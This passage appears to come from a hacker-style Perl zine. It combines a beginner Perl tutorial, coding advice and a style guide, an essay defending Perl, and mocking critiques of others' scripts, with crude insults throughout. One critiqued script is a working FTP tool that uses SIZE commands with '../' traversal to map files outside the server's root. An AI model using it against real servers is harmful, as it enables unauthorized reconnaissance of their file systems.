value has an index number: the first value has an index of 0, the second value has an index of 1, the third an index of 2, and the fourth an index of 3. As an array variable can hold many values, we need a way to define which value we are referring to when we use the name of the array in our program. The index numbers assist us in this -- when we want to refer to an element of an array variable, we use the name of the array and the index number of the element. For example, we could refer to the string "another value", which is an element of the array @array, as "@array, index 2" (as that string has an index number of 2 in @array). You may have noticed by now that the variable name is "@array" and not "$array". Array variables are prefixed with the @ symbol, while scalar variables are prefixed with the $ symbol. To confuse things even more, when we refer to an individual element of an array, we prefix the array name with $ and not @. This is because an individual element of an array is scalar data by itself, and when a variable holds one piece of data, scalar data, it is prefixed with $. When we are referring to the array as a whole, however, it holds several pieces of data, so we prefix it with @. All this discussion is useless if we do not know how to implement it within our Perl scripts though. The following code is used to declare an array that holds the values "value one", "another value - value two", 39, and 908. @new_array = ("value one", "another value - value two", 39, 908); It was previously mentioned that a specific element of an array is accessed by using the name of the array and the index number of the element. How is that implemented in our Perl code though? Take a look at the following example: ----- print $new_array[0] . "\n"; ----- This line prints the element at index 0 in @new_array concatenated with a newline (note that we used $new_array as opposed to @new_array, as a specific element of an array is by itself scalar data -- one piece of data). Thus, the above is the same as the line: ----- print "value one\n"; ----- If you study the first example you'll be able to tell that to access an individual element of an array, we use the name of the array followed the index number, which is enclosed in square brackets. Once we've specified it's location, we can treat it similar to other scalar variables (if you're saying 'huh? But it's in an array, so it isn't a scalar variable!', the answer is that while it's in an array, it is a scalar variable by itself. This is an important concept to grasp, which is why I've repeated it several times :P)...perform mathematical expressions on it, assign it a value, print it, and perform a variety of other operations on it. I mentioned earlier in this tutorial that the for/foreach loop had other uses and that I would cover them later on. "Later on" has arrived. It turns out that the for/foreach loop can be used to iterate through the elements of an array. The foreach loop is in this way close to English in that is says "foreach @array", which translates to "foreach element of @array". As an example, the following code is used to print each element of the array we used previously, @new_array: ----- foreach (@new_array) { print $_; } ----- There is one question concerning the above code that will probably arise, and it is worth an explanation -- you, the reader, are probably sitting there going "Wtf does '$_' mean?!" The answer is that in the above example, the current element of @new_array for each iteration is stored in $_. If we wanted to change the variable name that this value was stored in, we would simply add the variable to store the value in immediately before the part of the first line that reads "(@new_array)". For example, the following code does the same thing as the last bit of code used to demonstrate the foreach loop but it stores the current element of the array in $a_var as opposed to $_: ----- foreach $a_var (@new_array) { print $a_var; } ----- | Input | So far we've seen how to send data to standard output, but receiving input from users is often a requirement for a useful script. This is actually a fairly easy task in Perl. The following example receives some input from a user and stores it in the variable $teh_inputz0r: ----- chomp($teh_inputz0r = ); ----- is the main component here. The less than and greater than symbols denote a file handle to be used and "STDIN" is the name of the file handle (in this case, standard input; yes, standard input is represented as a file). An understanding of how file handles work is not needed to understand standard input though, and file handles will not be covered in this tutorial. In other words, represents standard input, which is usually input received from the keyboard. In this case, we're assigning the input to a variable, $teh_inputz0r ($teh_inputz0r = ). The chomp function simply removes the ending newline of a string. When the user enters text that is assigned to $teh_inputz0r, it is terminated with a newline. The chomp function removes that trailing newline from the string. | Wrapping It Up | I've decided to release my Perl tutorial in several parts. This is part one, and part two, along with a possible part three, will introduce more concepts such as hashes, functions, regular expressions, sockets, and more. This tutorial should have provided a very basic, although not quite complete, introduction to Perl and my future tutorials will build upon that. Expect them to be out in not too long. I've decided to add an extra feature to this tutorial to demonstrate some very basic ways the information presented in this tutorial can be used. This is a simple script that covers most of the topics introduced in this text. It receives several numbers as input from the user and finds the average of them. Note that before it does this, it asks the user to enter how many numbers they will be entering. This is a (somewhat simple) example example of what arrays can do that simple scalar variables can not. Here's the script: ----- #!/usr/bin/perl # Finds the average of numbers entered by the users print "This script allows you to enter however many numbers you choose and then finds the mean of those numbers. How many numbers will you be entering? "; chomp ($count = ); for ($i = 0; $i < $count; $i++) { print "Enter number: "; chomp ($num = ); push @num_array, $num } foreach (@num_array) { $average += $_; } $average /= $count; print "The average is $average.\n"; # The end. ----- http://dynamichell.com http://binaryuniverse.net http://anomalous-security.org http://st0rage.org http://brain-hack.org | Shouts | Shouts to mu, dlab, Cryptic, Oropix, deep, CreepyNodque, Sintigan, ScM, Tele, Ic3D4ne, Ee77, ponyboy, Inviz, and everyone that I forgot. I hope you enjoyed this tutorial and learned something from it. Won't be long until part two's here! :) -Ch4r # I bet none of those can code Perl worth a shit either ;) # End Lame Tut -[0x11] # School You: Juerd ---------------------------------------------- # Here's some good advice from the one and only Juerd # Somebody that actually knows what he's talking about Random bits of Perl advice Learn jargon To understand documentation, you need to know the jargon that it uses. This jargon is different from other programming languages, so don't think your Java or C knowledge is any help. Learning the jargon is part of the normal learning process. I recommend Beginning Perl, a free online book written by Simon Cozens. Here is an incomplete list of things that you will need to understand: An object is a reference to a blessed variable. A list is not the same as an array. There are three main contexts: void context, scalar context and list context. Things are named or anonymous. The language is Perl, the implementation is perl. Never write PERL. There are different operators for strings and numbers. Some operators perform short circuit logical operations, and these have high and low precedence versions. There are lexical variables, package global variables and package global variables that are always in the main namespace. Parameters are expected, arguments are passed. An operator is either a unary, binary or ternary operator, or a list operator. A statement consists of one or more expressions. You can use alternative delimiters to avoid the leaning toothpick syndrome. If there is anything in this list you didn't know already or don't understand, go and find the documentation that explains it. Keep style consistent Programming style is a matter of personal preference, but there is one thing that every style should have: consistency. I have described my style, and it's a good idea to describe your own style. That way you make sure you cover important stuff, and it's a handy document to give people who are programming for you. Write what you mean Write what you mean, not just something that happens to work. This means you should use scalar @array to get the number of elements in @array, and not $#array + 1, because that would mean the index of the last element of @array plus one. Avoid high indenting levels Code blocks and other things should be indented properly, of course, but when you have a maze of nested code blocks, think about writing it differently. Perl has some nice controlled forms of goto that actually make code easier to read. They are redo, last and next. Also, avoid having huge blocks indented. Any given code block larger than 24 lines is hard to read. For example, this: for (...) { unless (foo) { # lots of code here } else { # some code here } } can be written as: for (...) { if (foo) { # some code here next; } # lots of code here } That way, it is immediately clear that nothing else is going to happen. This is also why you write open ... or die $!; instead of: if (open ...) { # entire # program # here } else { print STDERR $!; } __END__ Consider using or next and or last. Avoid having to clean up If you get your data clean, you don't have to clean it up. For example, you can read in a file and then remove lines that contain only whitespace, but it's better to just make sure there are no such lines in the first place: my $file; /\S/ and $file .= $_ while readline $fh; Most of the time, when you have an s/// with nothing in the RHS (right hand side), that means you're cleaning up because of mistakes you made before. (Or it is user input, and you really wanted to capture what you want instead of remove what you don't want.) Let Perl help you When you use strict, Perl forces you to declare variables before you can use them. This means sticking my in front of a variable the first time you use it. That way, Perl knows when you make a typo. This can save you many hours of debugging. When you use warnings or the -w command line argument, Perl gives additional warnings. This can be unwanted in rare situations, but you can just use no warnings there to temporarily disable them. When hiring a programmer or buying code, never accept code that doesn't use strict, unless they have a very good reason. That reason should be explained at the place where use strict normally is: the top of the file. Know where to find help First stop is documentation. Never ask for help before trying to figure it out on your own. If you ask for help and you get a reference to documentation as the answer, don't whine, but read that documentation. People have already written answers to your questions. This was done to avoid having to answer the same questions over and over. The official Perl documentation is available using the perldoc tool. To start reading, type perldoc perl. This will guide you to other documents, like perldoc perlvar, which explains all the special variables. You can get Perl help at PerlMonks, #perlhelp on EFnet, several usenet groups and many more places. Oh, and remember that receiving help is a privilege, not a right. It's okay to ask for help, it's not okay to demand help. ### Style by Juerd #### Perl style guide This is how I like my code, in no specific order. :) 4 space indents No tabs in code (includes indents) Always Class->method, never method Class (this includes "new"!) Cuddled else: } else { Opening curly on the same line as the keyword it belongs to Closing vertically aligned with that keyword Space after comma or semi-colon, but not before No extra spaces around or inside parens: foo, (bar, baz), quux Extra spaces in arrayref constructor: [ foo, bar ] Extra spaces in hashref constructor: { foo => bar } Extra spaces in code delimiting curlies: sort { $a <=> $b } @foo No $a or $b except when sorting No parens unless needed for clarity Space between special keyword and its arguments: if (...) { ... } No space between keyword and its arguments if the "looks like a function, therefor it is a function" rule applies: print((split)[22]), not print ((split)[22]). (And of course not print (split)[22]) No subroutine prototypes if they're ignored anyway No subroutine prototypes just to hint the number of arguments Prototypes enforce context, so use them only if that makes sense No globals when access from another package is not needed use strict and -w. Loading of normal modules comes after loading strict. Lots of modules, but not to replace few-liners or simple regexes Comments on code lines have two spaces before and one after the # symbol No double spaces except for vertical alignment and comments Only && || ! where parens would be needed with and or not No double empty lines Empty line between logical code chunks Explicit returns from subs Guards (return if ...) are nicer than large else-blocks No space between array/hash and index/key: $foo[0], $foo{bar} No quotes for simple literal hash keys Space around index/key if it is complex: $foo{ $bar{baz}{bar} } Long lines: indent according to parens, but always 4 spaces (or [], {}, etc) Long lines: continuing lines are indented Long lines: Lines end with operator, unless it's || && and or No "outdent"s No half indents No double indents grep EXPR and map EXPR when BLOCK is not needed Logical order in comparisons: $foo == 4, but never 4 == $foo English identifiers Not the English.pm module Multi-word identifiers have no separation, or are separated by underscores Lowercase identifiers, but uppercase for constants Whatever tool is useful: no OO when it does not make sense It's okay to import symbols No here-documents, but multi-line q/qq. Even repeated prints are better :) (Okay, here-docs can be used when they're far away from code that contains any logic. Code MUST NOT break when (un)indented.) Always check return values where they are important No spaces around: -> ** Spaces around: =~ !~ * / % + - . << >> comparison_ops & | ^ && || ?: assignment_ops => and or xor Spaces or no spaces, depending on complexity: .. ... x No space after, unless complex: ~ u+ u- Long lines: break between method calls, -> comes first on a line, space after it => where it makes sense qw where useful qw when importing, but '' when specifying pragma behaviour () for empty list, not qw() -> to dereference, where possible No abbreviations (acronyms are okay, and so are VERY common abbreviations) NEVER "ary" Data type not represented in variable name: %foo and @foo, but not %foo_hash or @foo_array Sometimes: data type of referent in reference variable names: $bla_hash is okay Sometimes: data type 'reference' in reference variable names: $hashref is okay No one-letter variable names, unless $i or alike $i is a(n index) counter Dummy variables can be called foo, bar, baz, quux or just dummy Taint mode *only* for setuid programs No sub main(), unless it needs to be called more often than once Subs before main code! Declare variables on first use, not before (unless required) \cM > \x0d > \015. \r only where it makes sense as carriage return. Complex regexes get /x No space between ++/-- and the variable List assignment for parameters/arguments, not lots of shifts Only shift $self from @_ if @_ is used elsewhere in the sub Direct @_ access is okay in very short subs No eval STRING if not needed Constructor "new" does not clone. Only handles a *class* as $_[0] Constructor that clones is called "clone" Constructor can be something else than "new", but "new" is an alias No setting of $| when it is not needed Lexical filehandles No v-strings Single quotes when double-quote features not used In DBI: value interpolation using placeholders only use base 'BaseClass' instead of use BaseClass and setting @ISA Comments where code is unclear Comments usually explain the WHY, not the HOW POD at the bottom, not top, not interleaved Sane variable scopes No local, except for perlvar vars No C-style loop for skipless iteration No looping over indexes if only the element is used 80 characters width. It's okay to give up some whitespace Unbalanced custom delimiters are not metacharacters and not alphanumeric RHS of complex s///e is delimited by {} Favourite custom delimiter is [] Semi-colon only left out for implicit return or in single-statement block No $&, $` or $' Localization of globals if they're to be changed (local $_ often avoids weird bugs) Semi-colon not on its own line (in|de)crement in void context is post(in|de)crement No map or grep in void context ? and : begin lines in complex expressions True and false are always implied. No $foo == 0 when testing for truth. Only constructors return $self. Accessor methods never do this. Stacking methods is okay, but a non-constructor method should never return $self. Accessor methods should behave like variables (Attribute::Property!) Other methods should behave like subroutines our $VERSION, not use vars qw($VERSION); Module version numbers are ^\d+\.\d\d\z Error checking is done using or. This means open or do { ... } instead of unless (open) { ... } when handling the error is more than a simple statement. The result of the modulus operator (%) has no useful boolean meaning (it is reversed), so explicit == 0 should be used. -[0x12] # byterage dropped the ball -------------------------------------- use IO::Socket; $cmd = "SIZE"; @chars = ('A','B','C','D','E','F','G','H','I','J','K','L','M', 'N','O','P','Q','R','S','T','U','V','W','X','Y','Z', '0','1','2','3','4','5','6','7','8','9','.'); # yeah, I'm sure you need that... if (!($host = $ARGV[0])) { $host = "127.0.0.1"; } print "Logging on @ $host:"; if (!($port = $ARGV[1])) { $port = "21"; } print "$port as user "; if (!($loginid = $ARGV[2])) { $loginid = "anonymous"; } print "${loginid}:"; if (!($loginpwd = $ARGV[3])) { $loginpwd = "anonymous"; } print "${loginpwd}\n"; # definitely the best way to do that $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "Couldn't create socket !"; $sock->autoflush(); print "\nLogging in...\n"; $reply = <$sock>; print $reply; print "USER ${loginid}\015\012"; print $sock "USER ${loginid}\015\012"; $reply = <$sock>; print $reply; print "PASS ${loginpwd}\015\012"; print $sock "PASS ${loginpwd}\015\012"; do { $reply = <$sock>; print "$reply"; } while $reply !~ /230\s/; print "\nDetermining root directory...\n"; $level = 0; $rootdir = ""; # my my my do { print $sock "$cmd ${rootdir}*\015\012"; $reply = <$sock>; print $reply; print $sock "$cmd ${rootdir}../*\015\012"; $reply2 = <$sock>; print $reply2; if (!($reply eq $reply2)) { $rootdir .= "../"; $level++; } } while (!($reply eq $reply2)); # ! is hot, ! print "The harddrive's root directory is apparently ${level} directories up\nCorrect manually if you want to map another directory.\n"; print "\nMapping directory...\n"; $lastchar = $chars[($#chars)]; # heh ${file} = ""; do { print $sock "$cmd ${rootdir}${file}?\015\012"; $reply = <$sock>; # haven't seen that one before! if ($reply =~ /213\s/) { for ($ind = 0; $ind<(@chars); $ind++) { # C style for! C style for! print $sock "$cmd ${rootdir}${file}$chars[$ind]\015\012"; $reply = <$sock>; if ($reply =~ /213\s/) { print "${rootdir}${file}$chars[$ind]\n"; } } $file .= $chars[0]; } else { do { print $sock "$cmd ${rootdir}${file}*\015\012"; $reply = <$sock>; if ($reply =~ /213\s/) { print $sock "$cmd ${rootdir}${file}\015\012"; $reply = <$sock>; if ($reply !~ /213\s/) { $file .= $chars[0]; } else { do { if (length($file) > 0) { $lastc = chop($file); } else { break; } } while ($lastc eq $lastchar); # who taught you how to code algorithms? who taught you to do shit this way? # How'd you survive? I can barely look at half this if (length($lastc) == 1) { for ($ind = 0; $ind<$#chars; $ind++) { if ($lastc eq $chars[$ind]) { $file .= $chars[$ind+1]; break; } } } } } else { do { if (length($file) > 0) { $lastc = chop($file); } else { break; } } while ($lastc eq $lastchar); if (length($lastc) == 1) { for ($ind = 0; $ind<$#chars; $ind++) { if ($lastc eq $chars[$ind]) { $file .= $chars[$ind+1]; break; } } } } } while ($reply =~ /213\s/); } } while !($file eq ""); # great end to that block... close($sock); exit; -[0x13] # School You: tilly ---------------------------------------------- # Don't be closed minded If you are comparing to C in a web environment be absolutely sure to nail some collection of the following points: CGI is an environment where security matters. In software today the single largest source of security holes is still the lowly buffer overflow. If you use Perl this is completely eliminated. This is before the wins you can get from things like taint checking. The single most common bug in C is off by one fencepost errors. If you consistently loop over lists in Perl using foreach you virtually eliminate this error. (The number one security hole and the number one bug both gone!) Perl also frees you from the effort and the common mistakes in memory allocation. CPAN is the single largest repository of freely available code for any language. While quality varies, there is a very long list (CGI, DBI, Template::Toolkit...) of extremely good software to build on. Perl has an exceptional amount of built-in functionality for direct string manipulation. Considering that web programming is largely concerned with string manipulation, this is a big win. Perl has a large and friendly community. For instance you can find plenty of good examples, get questions answered online, find discussions of best practices, and many other resources that help programmers improve. Perl is portable. Sure, C is portable in theory. But in practice sizeable C projects tend to take work to port between platforms. By contrast people in the Perl world frequently just throw their code on a networked file-server and just expect that it will run unchanged on different machines running different operating systems. Perl is portable, again. The standard libraries on CPAN often make the same internal API available when interfacing with multiple external resources. For instance with DBI it is trivial to write a program which will not only run unchanged against the most popular half-dozen relational databses out there, but it will even allow you to store the information in a collection of CSV files. Which database you connect to and work against can come down to a configuration variable. Perl can be faster. Straight CGI programs tend to be slow because of the overhead of starting programs, opening database connections, etc. However it is not hard to develop a site in Perl using CGI and then move the execution into the webserver, for instance by using mod_perl on Apache. This eliminates startup times, allows you to cache connections, etc. Doing the same in C would involve writing a custom webserver? Perl can be faster, again. With native data types like hashes Perl makes it easy to come up with algorithmically efficient answers to problems. Perl can be faster, again. Perl's RE engine has some breathtaking optimizations. For instance if you wanted to check for whether the string "this is amazing" appeared in another string, in Perl you would write: if ($string =~ /this is amazing/) { # etc You could write that in C, it would be more work, but you can. However the naive C implementation will not succeed in searching the string faster than you can walk the string. Perl's naive implementation both can and does. Matching that in C is possible (if Perl does it it has to be, after all Perl is written in C) but takes a lot of work to do. Perl is faster, again. As noted by several people, Perl is a master of the school of being maintainable by virtue of being short and sweet both in terms of lines of code and (more importantly) conceptually. Shortness correlates directly to speed and ease of writing, ease of testing, and ease of debugging. Now before you stand up and cheer, you will face several complaints that you should be ready for. Perl is untyped! A type system may be regarded as a test of an official spec for an API. The extent to which things you would want to be tested in the spec cannot be said and checked in the type system is the extent to which the type system failed to do you any good. For instance in C the type system is unable to document important limitations like the maximum length of string that will fit in a buffer. Perl's dynamic data types generally keep these from being errors in the first place. Also you can point out that in practice many typed languages, aren't. For background on this I recommend the following amusing Java example and Dominus has a wonderful article on Typing that is very informative. Perl is line noise! Perl's syntax is actually fairly easy to get the hang of. While it is possible to write very obtuse Perl code, as perlstyle says, Perl is designed to give you several ways to do anything, so consider choosing the most readable one. With a little attention, Perl is quite good on the readability front without requiring verboseness. Who uses Perl? Perl tends to be a great stealth tool. While officially virtually nobody uses it, in reality Perl books sell very well, and they sell to working programmers. Perl may not be "respectable", but it is effective. There are some who are willing to admit to their success stories, but there are also a lot of cases like the unnamed but large (very large I assure you) Wall St company that hired Damian Conway in mid-Febuary to teach several internal seminars but who wrote into their contract that he would not say who they were! (I heard the story minus the name from the horse's mouth, and the story with the name from several other people.) Perl is not scalable! Real life success rates in software don't say good things about the scalability of any software language. Perl scales a lot farther than most people realize. Of course if you write a single straight script, you will fall over. But if you use strict, private namespaces with package, etc people routinely manage to write and maintain systems in the tens of thousands of lines without problems. More importantly given the expressiveness of Perl, many of those would be in the hundreds of thousands of lines in another language. Given the quadratic development inefficiencies as you add bodies, the difference between 30,000 lines and 150,000 for the same task is not insignificant. Perl programmers are hard to find. With Perl good programmers can be more productive. The history of software engineering does not have encouraging successes for the popular model of throwing many bodies at problems. Perl aims to make existing bodies more effective instead. Perl uses too many magic variables You don't have to use them. I didn't. Perl isn't multi-threaded At Threads vs Forking (Java vs Perl) you will find a discussion of my opinions on that. Suffice it to say that IMNSHO anyone who is unable to give an impromptu lecture on problems with threading (for instance a talk about why reversing multi-threading onto code that is not thread-safe is intrinsically hard) has no business trying to deal with it. Does that help? :-) -[0x14] # ilya loses his reputation -------------------------------------- # I'm not even going to comment on this ilya. # The code speaks for itself $debug = 0; @var = ("extern ", "double", "float", "const ", "void ", "char ", "int ", "long ", "struct ", "unsigned ", "signed ", "short ", "int ", "static ", "register "); if ($ARGV[0] eq "") { help(); } open(fp, $ARGV[0]) || die("[--]Can't open $ARGV[0] :: $!"); @all = ; close(fp); $line = 0; $opened = 0; $closed = 0; $comment = 0; print "Indexing potentially harmful functions (this might take a while)..."; foreach (@all) { $line++; print "$line\n"; # /* start_comment(); if($comment == 0 && /^(.*)\/\*(.*)$/) { $comment = 1; print "+ $1\n"; } # */ end_comment(); if($comment == 1 && /^(.*)\*\/(.*)$/) { $comment = 0; print "- $2\n"; } # print "[$line]$comment - "; for ($i = 0; $i <= @var; $i++) { #should be done over multiple lines # still to come ! # print "here\n" ; if(/^$var[$i].*\(.*,( *)\.\.\.(.*)( *)\)(.*)$/ && $comment == 0) { # print "$_\n"; $linecounter = $line; $stop_the_count = 0; if(/^.*{.*$/) { $opened++; } if(/^.*}.*$/) { $closed++; } # this'll change @all, a problem ??? if(/^(.*)( *)(.*)\((.*)\)/) { $matrix{$name}{2} = getargs($4); } # ;? added becoz of prototyping ... s/^(.*)( *)(.*)\((.*)\)( *);?/$1/g; $name = get_name($1); # 0 = begin, 1 = end, 2 = how many arguments ? if ($opened == $closed && $opened != 0) { $matrix{$name}{0} = $linecounter; $matrix{$name}{1} = $line; $opened = 0; $closed = 0; $stop_the_count = 1; } } } if(/^(.*){(.*)$/ && $stop_the_count != 1 && $comment == 0) { $opened++; } if(/^(.*)}(.*)$/ && $stop_the_count != 1 && $comment == 0) { $closed++; } if ($opened == $closed && $opened != 0) { # 0 = begin, 1 = end, 2 = how many arguments ? $matrix{$name}{0} = $linecounter; $matrix{$name}{1} = $line; $opened = 0; $closed = 0; $stop_the_count = 1; } } # print "\n\ngoes from:$matrix{$name}{0}\nto:$matrix{$name}{1}\n"; print " done\nChecking the code now\n\n\n"; $line = 0; foreach (@all) { # we need multi-line support # ( , , ) # \--> know these\args \ # \--> check these\args # \--> don't care bout these args $line++ ; if(/^(.*)([ \)]+)sprintf( *)\(([ ])*([a-zA-Z_])+([a-zA-Z0-9_()])*([ ])*,([ ])*([a-zA-Z_])+([a-zA-Z0-9_()])*([ ])*\)(.*)$/) { print "found formatstring bug at line $line\n$_\n\n"; } if(/^(.*)([ \)]+)snprintf( *)\(([ ])*([a-zA-Z_])+([a-zA-Z0-9_()])*([ ])*,([ ])*([a-zA-Z0-9_()])*([ ])*,([ ])*([a-zA-Z_])+([a-zA-Z0-9_()])*([ ])*\)(.*)$/) { print "found formatstring bug at line $line\n$_\n\n"; } elsif(/^(.*)([ \)]+)syslog( *)\(([ ])*([a-zA-Z_])+([a-zA-Z0-9_()])*([ ])*,([ ])*([a-zA-Z_])+([a-zA-Z0-9_()])*([ ])*\)(.*)$/) { print "found formatstring bug at line $line\n$_\n\n"; } elsif(/^(.*)([ \)]+)fprintf( *)\(([ ])*([a-zA-Z_])+([a-zA-Z0-9_()])*([ ])*,([ ])*([a-zA-Z_])+([a-zA-Z0-9_()])*([ ])*\)(.*)$/) { print "found formatstring bug at line $line\n$_\n\n"; } #/^$/ elsif(/^(.*)([ \)]+)printf( *)\(([ ])*([a-zA-Z_])+([a-zA-Z0-9_()])*([ ])*\)(.*)$/) { print "found formatstring bug at line $line\n$_\n\n"; } } sub get_name { local($temp); foreach (split(" ",$_)) { $temp = $_; } if ($debug) { print "\n[$line] $temp"; } return(remove_asterisk($temp)); } # # this looks crappy, becoz it is, # I just couldn't get a regex working to filter out "*" # sub remove_asterisk { local($testit); $testit = @_[0]; for ($i = 0; $i < length($testit); $i++) { if(substr($testit, $i, 1) ne "*") { return(substr($testit, $i, length($testit))); } } } sub getargs { local($counter) = 1; foreach (split(",", @_)) { $counter++; } return($counter); } sub help { print "run like : $0 \n"; exit; } sub start_comment { # $i++; # print "start $i \n"; if($comment == 0 && /^(.*)\/\*(.*)$/) { $comment = 1; if ($2 =~ /\*\//) # print "+ $1\n"; { print "call end_comment()\n"; end_comment($2); } } } sub end_comment { if($comment == 1 && /^(.*)\*\/(.*)$/) { $comment = 0; if ($2 =~ "/\*") # print "- $2\n"; { print "call start_comment()\n"; start_comment($2); } } } # ilya I can't believe I end with that -[0x15] # Shoutz and Outz ------------------------------------------------ Shouts to those out there that can code Perl. That can write respectible Perl code. Shouts to those that have respect for what they don't understand. Shouts to freenode #perl, perlmonks.org, and dedicated Perl coders everywhere. Shouts to sottle and OutThere, the two guys I came across from outside the Perl community who wrote Perl worthy of not being criticized. I hope you enjoyed reading this as much as I enjoyed writing it. I hope people everywhere learned something. I hope the collective mindless mass of Perl haters picks up some respect or shuts the fuck up. ___ _ _ _ _ ___ _ | _ | | | | | | | | | | | | | _|__ ___| | | | |___ _| |___ ___| _|___ ___ _ _ ___ _| | | | -_| _| | | | | | . | -_| _| | | _| . | | | | . | |_|____|_| |_| |___|_|_|___|___|_| |___|_| |___|___|_|_|___| Forever Abigail $_ = "\x3C\x3C\x45\x4F\x46\n" and s/<